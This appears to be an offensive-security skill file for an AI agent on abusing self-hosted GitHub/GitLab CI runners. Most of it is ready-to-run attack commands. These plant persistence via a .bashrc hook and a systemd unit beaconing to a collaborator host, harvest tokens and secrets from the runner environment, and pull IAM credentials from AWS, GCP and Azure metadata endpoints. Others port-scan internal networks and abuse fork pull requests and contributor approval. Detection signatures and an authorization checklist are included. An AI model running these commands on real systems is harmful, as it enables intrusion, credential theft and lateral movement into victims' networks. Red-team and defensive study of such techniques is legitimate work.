| name | self-hosted-runner-abuse |
| description | Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"execution","when_to_use":"self-hosted runner github actions runner gitlab runner persistence lateral movement imds metadata internal network ephemeral runner label","tags":"ci-cd, self-hosted-runner, persistence, lateral-movement","mitre_attack":"T1078.004, T1133, T1554, T1021"} |
Self-Hosted Runner Abuse
Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.
Recon — does the target use self-hosted?
grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/
grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \
| grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)'
gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \
| while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \
| grep -iE 'Runner name|Runner group|Machine name'; done | sort -u
gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}'
Default vs ephemeral
| Mode | Behavior | Attacker upside |
|---|
| Default (non-ephemeral) | Same VM/container picks up the next job. /home/runner/work/_temp/, ~/.cache, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job |
Ephemeral (--ephemeral) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host |
actions/runner-images self-hosted on K8s with ARC | Pod per job, but cluster identity (ServiceAccount) is shared | Pivot to cluster API via projected token |
uname -a; id; whoami
mount | grep -E '/home|/runner|overlay'
ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null
env | grep -E 'RUNNER_|GITHUB_' | head
ls -la "$RUNNER_TEMP/.." 2>/dev/null
Fork-PR execution on self-hosted
on: pull_request
jobs:
test:
runs-on: [self-hosted, linux, internal]
steps:
- uses: actions/checkout@v4
- run: make test
If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned Makefile (see poisoned-pipeline-execution/SKILL.md) gives RCE on the internal runner. First-time-contributor approval is also bypassable: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor.
Persistence on non-ephemeral runners
RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")"
echo "Found runner at: $RUNNER_BIN"
mkdir -p "$HOME/.config"
cat > "$HOME/.config/runner-helper.sh" <<'EOF'
nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null &
EOF
grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc"
mkdir -p "$HOME/.config/systemd/user"
cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF'
[Unit] Description=research beacon
[Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H
Restart=always
[Install] WantedBy=default.target
EOF
systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true
Stop. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist.
Token / secret theft from runner env
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head
ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null
cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/null | head -20
git config --global --get-all credential.helper
find / -name 'event.json' -path '*_github_workflow*' 2>/dev/null
find /tmp /var/tmp "$RUNNER_TEMP/.." -type f -newer /etc/hostname 2>/dev/null | head -50
Cross-reference cicd-secrets-exfil/SKILL.md for masking-bypass and OIDC exchange once a token is in hand.
Lateral movement from the runner
curl -sH 'Metadata-Token: required' http://169.254.169.254/latest/meta-data/
TOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token)
curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
curl -sH 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
ip route; cat /etc/resolv.conf
for ip in 10.0.0.{1..20}; do
for p in 22 80 443 5432 6379 8080 9090; do
(echo >/dev/tcp/$ip/$p) 2>/dev/null && echo "$ip:$p open"
done
done
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-12
Runner-label targeting
If the org has a label gpu-a100 mapped to a specific physical host, crafting a workflow with runs-on: [self-hosted, gpu-a100] pins your job to that host. Useful to:
- Target a specific build operator's machine (developer workstation runners are a pattern in some orgs).
- Land on a runner with weaker egress controls (e.g.
windows-build-old left from a migration).
on: pull_request
jobs:
pin:
runs-on: [self-hosted, prod-deploy]
steps: [{ run: 'hostname; id; env | grep -i deploy' }]
Detection signatures
| Signal | Source |
|---|
| Outbound DNS/HTTP from runner to non-allowlisted host | egress firewall / Suricata |
New ~/.bashrc / systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) |
runs-on: self-hosted + on: pull_request (not pull_request_target w/ approval) | zizmor / octoscan |
| First-time-contributor PR approved + immediate follow-up PR | GitHub Insights / org-level review |
| IMDS access from a runner's job | VPC flow logs / cloud audit |
Tools
| Tool | Use |
|---|
gato-x runners | Enumerates self-hosted runners across an org, identifies PPE targets |
octoscan | Flags self-hosted + untrusted-trigger combinations |
runner-images (GitHub) | Compare against the official ephemeral image to spot persistence diffs |
osquery / falco | Defender-side; useful to know what they see |
Decision gate
- Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for lateral movement and metadata access, not just CI execution.
- Do not exfil cloud creds.
curl -s 169.254.169.254/.../security-credentials/ and print first 8 chars only.
- Remove any persistence (
.bashrc entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report.
- Never pivot to a machine outside the runner's subnet without separate authorization.
References
- GitHub docs — "About self-hosted runners" (limitations + warnings)
- Praetorian — "Self-Hosted GitHub Runners Are Backdoors"
- Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.)
actions-runner-controller (ARC) — ephemeral runner pattern on K8s